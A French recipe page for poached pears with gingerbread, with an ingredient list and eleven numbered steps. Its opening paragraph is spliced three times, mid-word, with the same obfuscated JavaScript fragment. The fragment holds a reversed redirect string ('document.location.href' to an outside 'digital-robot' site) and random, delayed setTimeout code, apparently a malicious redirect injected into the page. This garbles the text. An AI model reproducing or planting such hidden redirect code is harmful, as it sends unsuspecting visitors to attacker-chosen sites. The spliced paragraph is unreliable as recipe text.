Poires en cocotte avec du pain d’épices

2021-04-13

Versez l’eau froide dans une cocotte avec le sucre en poudre, le bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton de cannelle, l’étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toile de badiane tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant. Portez à ébullition pendant de 10 minutes

Ingrédients

  • Pour 6 personnes
  • 6 poires
  • 300 g de sucre en poudre
  • 50 cl d'eau froide
  • 4 tranches de pain d'épices
  • 1 étoile de badiane
  • 1 bâton de cannelle

Préparation de la recette

Etape 1

Versez l'eau froide dans une cocotte avec le sucre en poudre, le bâton de cannelle, l'étoile de badiane tout en mélangeant.

Etape 2

Portez à ébullition pendant de 10 minutes

Etape 3

Pendant ce temps pelez et coupez en deux les poires.

Etape 4

Ôtez le cœur.

Etape 5

Les plonger dans le sirop.

Etape 6

Portez à nouveau ébullition.

Etape 7

Baissez le feu et faites cuire les poires pendant 40 minutes, en les arrosant régulièrement. 10 minutes avant la fin de cuisson émiettez les tranches de pain d'épices que vous incorporez dans les poires.

Etape 8

Vérifiez la cuisson des poires en les piquants avec la pointe d'un couteau.

Etape 9

Retirez la cocotte du feu et laissez refroidir.

Etape 10

Servez les poires dans des verres où des ramequins.

Etape 11

Arrosez de sirop de cuisson accompagné de boule de glace à la vanille

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